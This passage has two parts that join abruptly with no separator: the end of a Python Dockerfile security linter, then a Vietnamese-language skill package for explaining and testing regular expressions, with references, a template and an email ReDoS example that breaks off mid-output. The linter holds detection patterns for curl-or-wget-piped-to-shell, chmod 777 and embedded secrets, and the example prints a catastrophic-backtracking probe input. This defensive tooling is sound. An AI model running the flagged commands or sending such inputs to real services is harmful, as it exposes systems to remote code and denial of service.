elif img.endswith(":latest"):
add("warn", "unpinned-base", s["line"], f"base image '{img}' uses :latest", "pin a specific version tag or digest")
final = stages[-1]
run_count = 0
for idx, s in enumerate(stages):
cmds = [x for x in s["ins"] if x[1] in ("CMD", "ENTRYPOINT")]
for kind in ("CMD", "ENTRYPOINT"):
k = [x for x in cmds if x[1] == kind]
if len(k) > 1:
add("warn", "multiple-cmd", k[-1][0], f"{len(k)} {kind} instructions in one stage; only the last one counts",
f"keep a single {kind}")
copied_all = None
for ln, ins, args in s["ins"]:
low = args.lower()
if ins in ("ENV", "ARG"):
pairs = re.findall(r"([A-Za-z_][A-Za-z0-9_]*)(?:(?:=|\s+)(\"[^\"]*\"|'[^']*'|[^\s=]\S*))?", args) if ins == "ARG" or "=" in args else [tuple((args.split(None, 1) + [""])[:2])]
for key, val in pairs:
if SECRET_KEY.search(key) and val and not val.startswith("$") and val.strip("\"'"):
add("high", "secret-in-env", ln, f"{ins} {key} contains a literal secret; it is stored in the image layers and history",
"pass secrets at build time with RUN --mount=type=secret, or at run time via environment or a secrets manager")
if ins == "ARG" and any(SECRET_KEY.search(k) for k, _ in pairs) and not any(v for k, v in pairs if SECRET_KEY.search(k)):
add("warn", "secret-in-env", ln, f"ARG {pairs[0][0]} looks like a secret; build args are visible in image history",
"use RUN --mount=type=secret instead of a build arg")
if ins == "RUN":
run_count += 1
if re.search(r"(curl|wget)\b[^|;&]*\|\s*(sudo\s+)?(ba|z|da)?sh\b", low):
add("high", "curl-pipe-shell", ln, "downloads a script and pipes it straight into a shell",
"download to a file, verify a checksum or signature, then run it")
if re.search(r"chmod\s+(-r\s+)?0?777\b", low):
add("high", "chmod-777", ln, "chmod 777 makes files writable by every user", "grant only the permissions needed, e.g. chmod 755 or chown to the app user")
if re.search(r"(--password[= ]\S+|://[^/\s:@]+:[^@\s$]+@)", args) or re.search(r"\b(token|api[_-]?key)=\w{8,}", low):
add("high", "secret-in-run", ln, "a password, token, or credentials URL appears in a RUN command and stays in the image history",
"use RUN --mount=type=secret or fetch credentials at run time")
if re.search(r"\bsudo\b", low):
add("warn", "sudo", ln, "sudo inside a Dockerfile is unnecessary and widens the attack surface", "run the step before switching USER, without sudo")
for upd, inst in (("apt-get update", "apt-get install"), ("apt update", "apt install"), ("apk update", "apk add"), ("yum update", "yum install")):
if upd in low and inst not in low:
add("warn", "update-alone", ln, f"'{upd}' runs in its own layer; a later install may use a stale cached index",
f"combine: RUN {upd} && {inst} ... in one RUN")
if "apt-get install" in low or "apt install" in low:
if "--no-install-recommends" not in low:
add("info", "apt-recommends", ln, "apt installs recommended packages too", "add --no-install-recommends")
if "/var/lib/apt/lists" not in low:
add("info", "apt-lists", ln, "apt package lists are left in the layer (tens of MB)", "end the same RUN with && rm -rf /var/lib/apt/lists/*")
if "apk add" in low and "--no-cache" not in low:
add("info", "apk-cache", ln, "apk cache is kept in the layer", "use apk add --no-cache")
if re.search(r"\bpip3?\s+install\b", low) and "--no-cache-dir" not in low and "--mount=type=cache" not in low:
add("info", "pip-cache", ln, "pip keeps its download cache in the layer", "add --no-cache-dir (or use a cache mount)")
if any(re.fullmatch(r"\s*npm\s+(install|i)(\s+--?(?!g\b|global\b)[\w-]+(=\S+)?)*\s*", seg) for seg in re.split(r"&&|;|\|\|", low)):
add("info", "npm-ci", ln, "npm install can change the lockfile and versions", "use npm ci (with --omit=dev for production)")
if re.match(r"cd\s+\S+\s*&&", low) or re.search(r"&&\s*cd\s+/", low):
add("info", "cd-in-run", ln, "cd in RUN only affects that one command", "use WORKDIR /path")
if copied_all and re.search(r"\b(npm (ci|install)|pip3? install -r|poetry install|bundle install|go mod download|composer install|yarn install)\b", low):
add("warn", "cache-bust", ln, f"dependencies are installed after 'COPY {copied_all[1]}' (line {copied_all[0]}), so any source change reinstalls them",
"copy only the manifest and lockfile first (e.g. COPY package*.json ./), install, then COPY the rest")
copied_all = None
if ins == "ADD":
src = args.split()[0] if args.split() else ""
if re.match(r"https?://", src):
add("warn", "use-copy", ln, "ADD with a URL downloads without checksum verification and leaves the file in a layer",
"use RUN curl -fsSL ... with a checksum check, or ADD --checksum=sha256:...")
elif not re.search(r"\.(tar|tar\.gz|tgz|tar\.xz|tar\.bz2)$", src):
add("warn", "use-copy", ln, "ADD is used for local files; it also auto-extracts archives and fetches URLs", "use COPY for plain files")
if ins == "COPY" and not args.startswith("--from"):
parts = [p for p in args.split() if not p.startswith("--")]
if parts and parts[0] in (".", "./", "*"):
copied_all = (ln, " ".join(parts))
add("info", "dockerignore", ln, "COPY of the whole build context", "make sure .dockerignore excludes .git, node_modules, .env, build output, and secrets")
if ins == "EXPOSE" and re.search(r"\b22\b", args):
add("warn", "ssh-port", ln, "port 22 (SSH) is exposed; containers should not run an SSH server", "use docker exec / kubectl exec for access")
if ins in ("CMD", "ENTRYPOINT") and not args.strip().startswith("["):
add("info", "shell-form", ln, f"shell-form {ins} runs under /bin/sh -c, so the app is not PID 1 and may miss SIGTERM",
f'use exec form: {ins} ["executable", "arg"]')
users = [(ln, a.strip()) for ln, i, a in final["ins"] if i == "USER"]
if not users or users[-1][1].split(":")[0] in ("root", "0"):
where = users[-1][0] if users else final["line"]
add("high", "root-user", where, "the final image runs as root",
"create an unprivileged user (e.g. RUN useradd -r -u 10001 app) and add USER app before CMD")
if not any(i == "HEALTHCHECK" for _, i, _ in final["ins"]):
add("info", "no-healthcheck", final["line"], "no HEALTHCHECK in the final stage", "add HEALTHCHECK CMD ... if no orchestrator health probe is configured")
if len(stages) == 1 and any(BUILD_TOOLS.search(a) for _, i, a in final["ins"] if i == "RUN"):
add("info", "single-stage", final["line"], "build tools are installed in the only stage, so they ship in the final image",
"use a multi-stage build: compile in a builder stage, COPY --from=builder only the output")
if run_count > 10:
add("info", "many-layers", final["line"], f"{run_count} RUN instructions; related steps can be combined", "group related commands with && in fewer RUN steps")
return {"stages": [{"line": s["line"], "image": s["image"], "name": s["name"]} for s in stages], "findings": findings}
def main(argv):
as_json, fail_on, files = False, "high", []
it = iter(argv)
for a in it:
if a == "--json":
as_json = True
elif a == "--fail-on":
fail_on = next(it, "").lower()
if fail_on not in LEVELS:
print("error: --fail-on must be high, warn, or info", file=sys.stderr)
return 2
elif a in ("-h", "--help"):
print(__doc__)
return 0
elif a.startswith("--"):
print(f"error: unknown option {a}", file=sys.stderr)
return 2
else:
files.append(a)
if not files:
print("error: give a Dockerfile path, or - for stdin", file=sys.stderr)
return 2
reports, worst = [], -1
for f in files:
try:
text = sys.stdin.read() if f == "-" else open(f, encoding="utf-8").read()
r = review(text)
except (OSError, UnicodeDecodeError, ValueError) as e:
print(f"error: {f}: {e}", file=sys.stderr)
return 2
r["file"] = f
r["findings"].sort(key=lambda x: (-LEVELS[x["level"]], x["line"]))
for x in r["findings"]:
worst = max(worst, LEVELS[x["level"]])
reports.append(r)
if as_json:
print(json.dumps(reports, indent=2))
else:
for r in reports:
c = {lv: sum(1 for x in r["findings"] if x["level"] == lv) for lv in LEVELS}
st = ", ".join(f"{s['image']}" + (f" AS {s['name']}" if s["name"] else "") for s in r["stages"])
print(f"{r['file']}: {len(r['stages'])} stage(s): {st}")
print(f" HIGH {c['high']} WARN {c['warn']} INFO {c['info']}")
for x in r["findings"]:
print(f" {x['level'].upper():<4} line {x['line']:<3} {x['rule']:<15} {x['message']}")
print(f" fix: {x['fix']}")
if not r["findings"]:
print(" no problems found")
return 1 if worst >= LEVELS[fail_on] else 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))Giải thích biểu thức chính quy (regular expressions) trong Python theo từng thành phần (token), kiểm thử chúng trên các mẫu bắt buộc phải khớp và bắt buộc không được khớp kèm vị trí khớp (spans) và nhóm định danh (named groups), đồng thời gắn cờ cảnh báo các mẫu tiềm ẩn rủi ro: các toán tử định lượng lồng nhau gây quay lui thảm khốc (catastrophic backtracking), [A-z], dấu chấm chưa thoát ký tự (unescaped dot), kết quả khớp rỗng và thiếu ký tự neo (anchors), sau đó đề xuất bản viết lại an toàn hơn. Sử dụng khi người dùng hỏi "regex này làm gì?", "tại sao nó không khớp?" hoặc "regex này có an toàn không?". Đi kèm công cụ kiểm tra bằng thư viện chuẩn Python đã được kiểm thử.
--- name: regex-pattern-explainer-and-tester description: Giải thích biểu thức chính quy (regular expressions) trong Python theo từng thành phần (token), kiểm thử chúng trên các mẫu bắt buộc phải khớp và bắt buộc không được khớp kèm vị trí khớp (spans) và nhóm định danh (named groups), đồng thời gắn cờ cảnh báo các mẫu tiềm ẩn rủi ro: các toán tử định lượng lồng nhau gây quay lui thảm khốc (catastrophic backtracking), [A-z], dấu chấm chưa thoát ký tự (unescaped dot), kết quả khớp rỗng và thiếu ký tự neo (anchors), sau đó đề xuất bản viết lại an toàn hơn. Sử dụng khi người dùng hỏi "regex này làm gì?", "tại sao nó không khớp?" hoặc "regex này có an toàn không?". Đi kèm công cụ kiểm tra bằng thư viện chuẩn Python đã được kiểm thử. --- # Trình Giải thích và Kiểm thử Mẫu Biểu thức Chính quy (Regex) Bạn giúp mọi người hiểu rõ, sửa lỗi và an tâm tin tưởng vào các biểu thức chính quy (regular expressions). Bạn giải thích một mẫu regex bằng ngôn từ dễ hiểu, chứng minh cách thức hoạt động của nó bằng các trường hợp kiểm thử (test cases) thực tế, đồng thời tìm ra những cái bẫy khiến regex gặp sự cố trên môi trường production: những đầu vào lẽ ra không được phép lọt qua, những đầu vào hợp lệ lẽ ra phải khớp nhưng lại bị từ chối, và những mẫu bị treo cứng khi gặp chuỗi đầu vào dài. Bạn trả về một mẫu regex đã được hiệu chỉnh kèm bảng kết quả kiểm thử rõ ràng, chứ không chỉ đưa ra nhận xét suông. ## Các tệp trong kỹ năng này - `scripts/regex_check.py` - giải thích một mẫu regex trực tiếp từ bộ phân tích cú pháp regex nội bộ của Python, chạy các đầu vào mẫu với kỳ vọng "+" (bắt buộc phải khớp) và "-" (bắt buộc không được khớp), đồng thời báo cáo các rủi ro mức HIGH, WARN và INFO; tùy chọn `--probe` đo thời gian chạy của mẫu trên dữ liệu đầu vào trường hợp xấu nhất (worst-case) được sinh tự động trong một tiến trình con (chỉ sử dụng thư viện chuẩn Python 3) - `references/regex-pitfalls.md` - mọi rủi ro mà trình kiểm tra báo cáo, lý do tại sao chúng quan trọng và mẫu an toàn để sử dụng thay thế - `references/flavor-differences.md` - sự khác biệt giữa thư viện `re` của Python so với JavaScript, PCRE, Go RE2, .NET, Java và POSIX grep, giúp bản sửa lỗi hoạt động chính xác trên đúng môi trường mà người dùng đang chạy - `templates/regex-review.md` - mẫu báo cáo đánh giá để trả kết quả về - `examples/example-email-validation-review.md` - một ví dụ đánh giá hoàn chỉnh về biểu thức kiểm tra email bị treo khi gặp đầu vào dài ## Quy trình làm việc ### 1. Thu thập thông tin thực tế Hỏi người dùng, hoặc đưa ra giả định hợp lý và nêu rõ giả định đó: - Mẫu regex chính xác như được viết trong mã nguồn (chuỗi thô - raw string hoặc chuỗi đã thoát ký tự) cùng ngôn ngữ lập trình hoặc công cụ thực thi nó. - Những gì mẫu bắt buộc phải chấp nhận và những gì bắt buộc phải từ chối: từ 4 đến 10 ví dụ thực tế cho mỗi loại, bao gồm cả các trường hợp biên (đầu vào rỗng, dấu cách, ký tự Unicode, chuỗi đầu vào rất dài). - Cách thức sử dụng mẫu: xác thực toàn bộ giá trị (fullmatch), tìm kết quả khớp đầu tiên (search), trích xuất tất cả các kết quả khớp (findall), hay thay thế chuỗi (replace). - Nguồn gốc của dữ liệu đầu vào. Đầu vào không đáng tin cậy (biểu mẫu web, nhật ký hệ thống, dữ liệu gửi qua API) sẽ biến hiện tượng quay lui thảm khốc (catastrophic backtracking) thành một lỗ hổng bảo mật thực sự. ### 2. Chạy trình kiểm tra ```bash python3 scripts/regex_check.py 'PATTERN' -t 'sample one' -t 'sample two' python3 scripts/regex_check.py 'PATTERN' --cases cases.txt --mode fullmatch --flags a python3 scripts/regex_check.py 'PATTERN' --probe --no-explain # confirm a backtracking risk python3 scripts/regex_check.py 'PATTERN' --cases - --json < cases.txt ``` Một tệp chứa các trường hợp kiểm thử (cases file) gồm mỗi mẫu trên một dòng: `+ text` là bắt buộc phải khớp, `- text` là bắt buộc không được khớp, `# ...` là dòng ghi chú. Luôn đặt mẫu regex trong cặp dấu nháy đơn khi chạy trên shell. Trình kiểm tra sử dụng thư viện `re` của Python; đối với các biến thể (flavor) ngôn ngữ khác, hãy đọc `references/flavor-differences.md` và chuyển đổi kết quả tương ứng. Nếu bạn không thể chạy script, hãy tự giải thích mẫu thủ công theo cùng cấu trúc và áp dụng các quy tắc trong `references/regex-pitfalls.md`. ### 3. Giải thích, sau đó sửa lỗi 1. Giải thích mẫu regex từ trên xuống dưới bằng ngôn từ dễ hiểu, mỗi dòng giải thích một thành phần (token) hoặc một nhóm (group), sử dụng kết quả giải thích của trình kiểm tra làm nền tảng. 2. Hiển thị bảng kết quả kiểm thử: từng mẫu thử, kết quả kỳ vọng, kết quả thực tế, cùng đoạn văn bản hoặc các nhóm đã khớp. 3. Sửa lỗi theo thứ tự ưu tiên sau: các mẫu có nguy cơ bị treo (mức HIGH), các trường hợp chấp nhận sai và từ chối sai (không đạt kỳ vọng kiểm thử), sau đó mới đến độ rõ ràng và các ghi chú mức INFO. 4. Ưu tiên viết lại theo cách đơn giản, dễ đọc: dùng một vòng lặp thay vì các vòng lặp lồng nhau, dùng lớp ký tự phủ định như `[^,]*` thay vì `.*`, dùng ký tự neo tường minh `\A...\Z` hoặc `fullmatch`, và dùng cờ `re.VERBOSE` kèm chú thích cho các mẫu dài. 5. Chạy lại trình kiểm tra trên mẫu đã sửa với cùng bộ test cases cộng thêm các trường hợp biên mới cho đến khi mọi kỳ vọng đều vượt qua và không còn rủi ro mức HIGH nào. Hãy chạy `--probe` trên mẫu đã sửa nếu mẫu ban đầu có rủi ro mức HIGH. ### 4. Bàn giao kết quả Điền vào biểu mẫu `templates/regex-review.md`: phần giải thích bằng ngôn ngữ tự nhiên, bảng kết quả kiểm thử trước và sau khi sửa, các rủi ro đã phát hiện, mẫu đã hiệu chỉnh viết đúng theo ngôn ngữ lập trình của người dùng với cách thoát ký tự (escaping) chính xác, cùng một danh sách ngắn các trường hợp kiểm thử để họ đưa vào bộ test (test suite) của dự án. Tuân thủ phong cách trình bày của `examples/example-email-validation-review.md`. ## Quy tắc - Không bao giờ khẳng định một mẫu regex là đúng nếu chưa chứng minh nó trên các trường hợp kiểm thử; hãy chủ động bổ sung các trường hợp biên mà người dùng quên mất. - Không xác thực quá mức cần thiết: đối với địa chỉ email, URL và tên người, hãy khuyến nghị kiểm tra định dạng khung đơn giản kết hợp với một bước xác minh thực tế (gửi email xác nhận, dùng bộ phân tích cú pháp URL chuyên dụng) thay vì cố viết một biểu thức regex khổng lồ. - Tôn trọng biến thể regex (flavor) của người dùng: không đề xuất lookbehind, toán tử định lượng sở hữu (possessive quantifiers) hay nhóm nguyên tử (atomic groups) nếu engine của họ không hỗ trợ chúng. - Thoát ký tự (escape) chính xác theo từng ngôn ngữ đích (chuỗi thô `r"..."` trong Python, dấu gạch chéo ngược kép `\\` trong chuỗi Java và C#, thoát dấu gạch chéo xuôi `/` trong biểu thức chính quy viết trực tiếp của JavaScript). - Coi hiện tượng quay lui thảm khốc (catastrophic backtracking) trên dữ liệu đầu vào không đáng tin cậy là một lỗi bảo mật nghiêm trọng (ReDoS) và nêu rõ điều đó; luôn khuyến nghị giới hạn độ dài chuỗi đầu vào như một lớp phòng thủ thứ hai. FILE:references/regex-pitfalls.md # Các cạm bẫy Regex được kiểm tra bởi script Mỗi quy tắc bao gồm: dấu hiệu được phát hiện, lý do tại sao nó quan trọng và mẫu an toàn để sử dụng thay thế. Các mức độ: HIGH có thể gây treo hệ thống hoặc bị khai thác tấn công, WARN thường chấp nhận hoặc từ chối sai dữ liệu đầu vào, INFO là thói quen viết chưa tốt nên được chỉnh sửa. ## Mức HIGH (quay lui thảm khốc - catastrophic backtracking, ReDoS) ### nested-quantifier (toán tử định lượng lồng nhau) Phát hiện: một phép lặp nằm bên trong một phép lặp khác mà không có thành phần bắt buộc nào khác tách biệt ở vòng lặp ngoài, chẳng hạn như `(a+)+`, `(\w+\s?)+`, `([a-z0-9]+\.?)+`, `(\w+|\d+)+`. Lý do: trên chuỗi đầu vào gần khớp (một chuỗi dài các chữ cái theo sau bởi một ký tự bị mẫu từ chối), bộ máy regex sẽ thử mọi cách có thể để chia chuỗi đó giữa vòng lặp trong và vòng lặp ngoài: có tới 2^n cách cho n ký tự. Chỉ cần 30 ký tự là có thể mất hàng phút để chạy xong. Trên một biểu mẫu web hoặc API, đây chính là lỗi gây từ chối dịch vụ (DoS). Cách dùng thay thế: chỉ dùng một phép lặp mô tả toàn bộ chuỗi, với ký tự phân cách là bắt buộc trong mỗi nhịp lặp. ``` (\w+\s?)+$ -> \w+(?:\s\w+)*$ ([a-z0-9]+\.?)+@ -> [a-z0-9]+(?:\.[a-z0-9]+)*@ ``` Python 3.11+ cũng hỗ trợ nhóm nguyên tử (atomic groups) `(?>...)` và toán tử định lượng sở hữu (possessive quantifiers) `a++`, vốn không bao giờ nhả lại các ký tự mà chúng đã khớp. ### ambiguous-repeat (phép lặp nhập nhằng) Phát hiện: một phép lặp mà phần thân có độ dài biến thiên và các thành phần bắt buộc của nó cũng có thể bị nuốt bởi chính phần biến thiên đó, chẳng hạn như `(x+x+)+`, `(aa|a)+`, `(foo|f\w+)+`. Lý do: tương tự như trên, các vòng lặp có thể bị chia cắt theo rất nhiều cách khác nhau. Tốc độ tăng thời gian có thể chậm hơn đôi chút (tăng theo dãy Fibonacci thay vì 2^n) nhưng bản chất vẫn là hàm mũ. Cách dùng thay thế: thiết kế để mỗi vòng lặp bắt đầu bằng một ký tự mà không phần nào khác trong thân vòng lặp có thể khớp được, hoặc gộp các phần đó lại thành một lớp ký tự duy nhất. Xác nhận cả hai lỗi trên bằng tùy chọn `--probe`: script sẽ chạy mẫu regex trên chuỗi `c * n + tail` với n tăng từ 12 đến 28 trong một tiến trình con có giới hạn thời gian 2 giây và báo cáo tốc độ tăng thời gian xử lý. Nếu thời gian tăng gấp hơn 3 lần sau mỗi 4 ký tự thêm vào, hoặc bị quá thời gian chờ (timeout), rủi ro đó được xác nhận. ## Mức WARN ### nested-overlap (chồng lấn trong phép lặp) Một phép lặp mà phần thân có ký tự phân cách vốn cũng được chấp nhận bởi phần lặp bên trong, chẳng hạn như `([\w.]+\.)+`. Hãy loại trừ ký tự phân cách ra khỏi lớp ký tự bên trong: `(?:[\w-]+\.)+`. ### adjacent-overlap (chồng lấn liền kề) Hai phép lặp đơn ký tự không giới hạn nằm nối tiếp nhau và cùng chấp nhận một tập ký tự giống nhau, chẳng hạn như `\d+\d+` hoặc `.*.*`. Điểm phân tách giữa hai phần bị nhập nhằng và khi khớp thất bại, bộ máy sẽ phải quay lui theo hàm đa thức (n^2, n^3). Hãy giữ lại một phép lặp hoặc làm rõ ranh giới giữa chúng. ### range-A-z (dải ký tự A-z) `[A-z]` bao phủ mã ASCII từ 65 đến 122, tức là bao gồm cả các ký tự `[ \ ] ^ _` và dấu huyền (backtick). Hãy sử dụng `[A-Za-z]`, hoặc `[^\W\d_]` nếu muốn khớp với bất kỳ chữ cái Unicode nào. ### unescaped-dot (dấu chấm chưa thoát ký tự) Dấu `.` nằm giữa các chữ cái hoặc đứng trước một từ như `com` hay `json` sẽ khớp với bất kỳ ký tự nào, dẫn đến việc chuỗi `example-com` vẫn vượt qua được bước kiểm tra dành cho `example.com`. Hãy viết là `\.`. ### matches-empty (khớp cả chuỗi rỗng) Mẫu regex chấp nhận cả chuỗi rỗng. Khi đó bước kiểm tra hợp lệ sẽ cho phép cả đầu vào bỏ trống, và hàm `findall` sẽ trả về các chuỗi rỗng xen kẽ giữa các kết quả khớp thực sự. Hãy sử dụng `+` thay vì `*` ở những nơi yêu cầu phải có ít nhất một ký tự. ## Mức INFO ### not-anchored (chưa gắn ký tự neo) Lệnh `re.search(r"\d+", "abc123xyz")` vẫn trả về thành công. Để xác thực toàn bộ một giá trị, hãy sử dụng `re.fullmatch` hoặc gắn neo bằng `\A ... \Z`. ### dollar-newline (ký tự đô la và dòng mới) `$` khớp tại vị trí cuối chuỗi và cả ngay trước ký tự xuống dòng cuối cùng, do đó `^abc$` vẫn chấp nhận `"abc\n"` khi dùng `re.search` hoặc `re.match`. Hãy sử dụng `\Z` hoặc `re.fullmatch` để kiểm tra nghiêm ngặt. ### unicode-classes (các lớp ký tự Unicode) Trong Python 3, `\d` khớp với bất kỳ chữ số Unicode nào (ví dụ: các chữ số Ả Rập - Ấn Độ) và `\w` khớp với các chữ cái trong mọi hệ chữ viết. Điều này rất tốt cho tên người và văn bản tự do; nhưng đối với mã định danh (ID), số thẻ và mã code, hãy sử dụng cờ `re.ASCII` hoặc `[0-9]`. ### greedy-dotstar và many-dotstar (dấu chấm sao tham lam và quá nhiều dấu chấm sao) `.*` nuốt toàn bộ phần còn lại rồi mới nhả ngược từng ký tự một. Việc xuất hiện từ ba cụm `.*` trở lên trong cùng một mẫu sẽ khiến các trường hợp khớp thất bại chạy rất chậm trên những dòng văn bản dài. Hãy mô tả từng trường bằng một lớp ký tự phủ định cụ thể: `"[^"]*"` cho chuỗi đặt trong dấu ngoặc kép, `[^,]*` cho một trường CSV. ## Những vấn đề không được script phát hiện (cần kiểm tra thủ công) - Thoát ký tự (escaping) sai trong ngôn ngữ lập trình chủ (chuỗi Python thiếu tiền tố `r""`, chuỗi Java chỉ dùng một dấu gạch chéo ngược đơn). - Các quy tắc nghiệp vụ mà biểu thức chính quy không thể diễn đạt tốt: ngày tháng hợp lệ (ngày 30 tháng 2), số kiểm tra checksum (số tài khoản IBAN, số thẻ ngân hàng), khả năng gửi nhận thực tế của địa chỉ email. - Các vấn đề về ngôn ngữ bản địa (locale): khớp không phân biệt hoa thường đối với chữ i có chấm và không chấm trong tiếng Thổ Nhĩ Kỳ, hoặc chữ s sắc (ß) trong tiếng Đức. - Hiệu năng của các phép lựa chọn (alternations) khổng lồ (hàng nghìn từ): hãy sử dụng tra cứu tập hợp (set lookup) hoặc cấu trúc cây tiền tố (trie) để thay thế. FILE:references/flavor-differences.md # Sự khác biệt giữa các biến thể (flavor) Regex có thể làm hỏng bản sửa lỗi Trình kiểm tra chạy trên thư viện `re` của Python. Trước khi đem một mẫu regex sang chạy trên một bộ máy (engine) khác, hãy kiểm tra bảng đối chiếu dưới đây. | Tính năng | Python `re` | JavaScript | PCRE / PHP | Go (RE2) | .NET | Java | POSIX grep -E | |---|---|---|---|---|---|---|---| | Lookahead `(?=...)` | có | có | có | không | có | có | không | | Lookbehind `(?<=...)` | chỉ độ rộng cố định | có (ES2018) | cố định hoặc giới hạn | không | mọi độ rộng | giới hạn | không | | Nhóm định danh (Named group) | chỉ `(?P<name>...)` | `(?<name>...)` | cả hai | `(?P<name>...)` (cũng hỗ trợ `(?<name>...)` từ Go 1.22+) | `(?<name>...)` | `(?<name>...)` | không | | Nhóm nguyên tử (Atomic group) `(?>...)` | 3.11+ | không | có | không | có | có | không | | Định lượng sở hữu (Possessive) `a++` | 3.11+ | không | có | không | không | có | không | | Tham chiếu ngược (Backreference) `\1` | có | có | có | không | có | có | có (cơ bản) | | `\d` khớp cả chữ số ngoài bảng ASCII | có (trừ khi bật re.ASCII) | không | không (trừ khi bật UCP) | không | có | không (trừ khi bật UNICODE_CHARACTER_CLASS) | tùy theo locale | | `$` khớp trước ký tự xuống dòng cuối cùng | có | không (nếu không bật cờ m) | có | không | có | có | không áp dụng (xử lý theo dòng) | | Cờ nội dòng (Inline flags) `(?i)` | có, ở đầu mẫu hoặc theo phạm vi `(?i:...)` | đặt cờ sau biểu thức (`/i`); cờ theo phạm vi `(?i:...)` chỉ có trên các engine mới nhất | có | có | có | có | không | | Quay lui thảm khốc (Catastrophic backtracking) | có thể xảy ra | có thể xảy ra | có thể xảy ra (có giới hạn) | không thể xảy ra (thời gian tuyến tính) | có thể xảy ra (có tùy chọn timeout) | có thể xảy ra | phụ thuộc vào engine | | Hàm hỗ trợ khớp toàn bộ chuỗi | `re.fullmatch` | gắn neo bằng `^...$` | gắn neo | gắn neo | gắn neo | `String.matches()` | cờ `-x` | ## Ghi chú chuyển đổi giữa các ngôn ngữ - JavaScript: viết biểu thức trực tiếp dưới dạng `/pattern/flags`; thoát ký tự `/` bên trong biểu thức. Sử dụng cờ `u` cho Unicode và cờ `v` cho các phép toán tập hợp trên các engine đời mới. Ký tự `\Z` không tồn tại: hãy dùng `$` mà không bật cờ `m`. - Go RE2: không hỗ trợ lookaround hay tham chiếu ngược (backreference), nhưng mọi mẫu đều chạy trong thời gian tuyến tính, nên không bao giờ phải lo ngại lỗi ReDoS tại đây. Hãy viết lại các điều kiện lookaround thành một bước kiểm tra thứ hai trong mã nguồn. - Java và C#: mọi dấu gạch chéo ngược đều phải nhân đôi trong chuỗi thông thường (`"\\d+"`); chuỗi nguyên văn (verbatim string) `@"\d+"` của C# và khối văn bản (text blocks) của Java sẽ giúp viết gọn hơn. - .NET: thiết lập `RegexOptions.NonBacktracking` (.NET 7+) hoặc đặt thời gian chờ (match timeout) đối với dữ liệu đầu vào không đáng tin cậy. - SQL: toán tử `~` của PostgreSQL sử dụng regex nâng cao kiểu Tcl (hỗ trợ lookahead, lookbehind từ bản 9.6, không hỗ trợ nhóm định danh); MySQL 8 sử dụng bộ máy ICU. Hãy kiểm thử trực tiếp bên trong cơ sở dữ liệu. - Shell: `grep -E` không hỗ trợ `\d` trên nhiều hệ thống; hãy dùng `[0-9]`. Lệnh `grep -P` cung cấp PCRE ở những môi trường có hỗ trợ. ## Các thiết lập mặc định an toàn xuyên suốt mọi biến thể (flavors) - Dùng `[0-9]` thay cho `\d`, `[A-Za-z]` thay cho `\w` khi định dạng dữ liệu theo định nghĩa chỉ thuộc bảng mã ASCII. - Dùng cặp ký tự neo `^` và `$` khi không bật chế độ đa dòng (multiline mode), kết hợp với một bước kiểm tra độ dài riêng biệt (ví dụ: tối đa 254 ký tự đối với địa chỉ email). - Tuyệt đối không dùng toán tử định lượng lồng nhau (nested quantifiers) trên dữ liệu đầu vào không đáng tin cậy, bất kể sử dụng bộ máy (engine) nào. FILE:templates/regex-review.md # Đánh giá Regex: purpose **Mẫu (nguyên bản):** `original_pattern` **Bộ máy (Engine):** language_and_engine | **Cách sử dụng:** validate whole value / find first / find all / replace **Trình kiểm tra (Checker):** Trước khi sửa có HIGH high / WARN warn / INFO info; đạt pass_before/total kỳ vọng kiểm thử ## Giải thích hoạt động bằng ngôn từ dễ hiểu 1. (mỗi dòng một thành phần token hoặc nhóm, từ trên xuống dưới) ## Kết quả kiểm thử | # | Đầu vào | Kỳ vọng | Trước khi sửa | Sau khi sửa | Ghi chú | |---|---|---|---|---|---| | 1 | | khớp / không khớp | | | | ## Các rủi ro phát hiện được | Mức độ | Quy tắc | Ý nghĩa trong trường hợp này | Cách khắc phục | |---|---|---|---| | HIGH | | | | Kiểm tra thời gian chạy - Probe (nếu có chạy): đầu vào `probe_input`, probe_result ## Mẫu đã hiệu chỉnh ```language (mẫu đã được hiệu chỉnh, thoát ký tự đúng theo ngôn ngữ của người dùng, kèm phiên bản VERBOSE hoặc có chú thích nếu mẫu dài hơn khoảng 40 ký tự) ``` Lý do cho từng thay đổi: (mỗi thay đổi một dòng) ## Giữ lại các trường hợp kiểm thử này ``` + (bắt buộc phải khớp) - (bắt buộc không được khớp) ``` ## Ghi chú - Giới hạn của biểu thức chính quy đối với tác vụ này và các bước kiểm tra bổ sung cần thực hiện trong mã nguồn (giới hạn độ dài, phân tích cú pháp, bước xác minh thực tế). - Lưu ý về sự khác biệt biến thể (flavor) nếu mẫu regex này sẽ được chạy bên ngoài môi trường Python. FILE:examples/example-email-validation-review.md # Ví dụ: Đánh giá biểu thức kiểm tra email trên biểu mẫu đăng ký bị treo ## Yêu cầu của người dùng "API đăng ký của chúng tôi thỉnh thoảng bị quá thời gian chờ (timeout) và công cụ đo hiệu năng (profiler) chỉ thẳng vào dòng mã này. Bạn có thể giải thích biểu thức regex này và sửa giúp tôi được không? Nó chạy trên Python 3.12 cho trường email của một biểu mẫu công khai." ```python EMAIL = re.compile(r"^([a-zA-Z0-9]+\.?)+@[A-z]+.com$") ``` ## Bộ trường hợp kiểm thử được sử dụng (cases.txt) 5 trường hợp của người dùng cộng thêm 3 trường hợp biên được bổ sung trong quá trình đánh giá (dấu gạch ngang thay vì dấu chấm, dấu gạch dưới trong tên miền, và chuỗi 30 chữ cái không có ký tự `@` - đúng theo hình dạng dữ liệu mà một con bot đã gửi lên): ``` + ann@example.com + first.last@mail.example.co - bob@@example.com - no-at-sign.example.com - trailing-dot@example. - ann@example-com - ann@exa_mple.com - aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! ``` ## Chạy trình kiểm tra (trên mẫu nguyên bản) ``` $ python3 scripts/regex_check.py '^([a-zA-Z0-9]+\.?)+@[A-z]+.com$' --cases cases.txt --no-explain --probe Samples (search): PASS + 'ann@example.com' -> [0:15] 'ann@example.com' 1='ann' FAIL + 'first.last@mail.example.co' -> expected a match PASS - 'bob@@example.com' PASS - 'no-at-sign.example.com' PASS - 'trailing-dot@example.' FAIL - 'ann@example-com' -> [0:15] 'ann@example-com' 1='ann' (expected no match) FAIL - 'ann@exa_mple.com' -> [0:16] 'ann@exa_mple.com' 1='ann' (expected no match) TIMEOUT - 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!' -> still running after 2 s (catastrophic backtracking) Risks and suggestions: HIGH nested-quantifier a quantifier sits inside another quantifier and nothing else in the outer repeat is required ... probe 'a' * n + '!': n=12: 0.0002 s, n=16: 0.0031 s, n=20: 0.0593 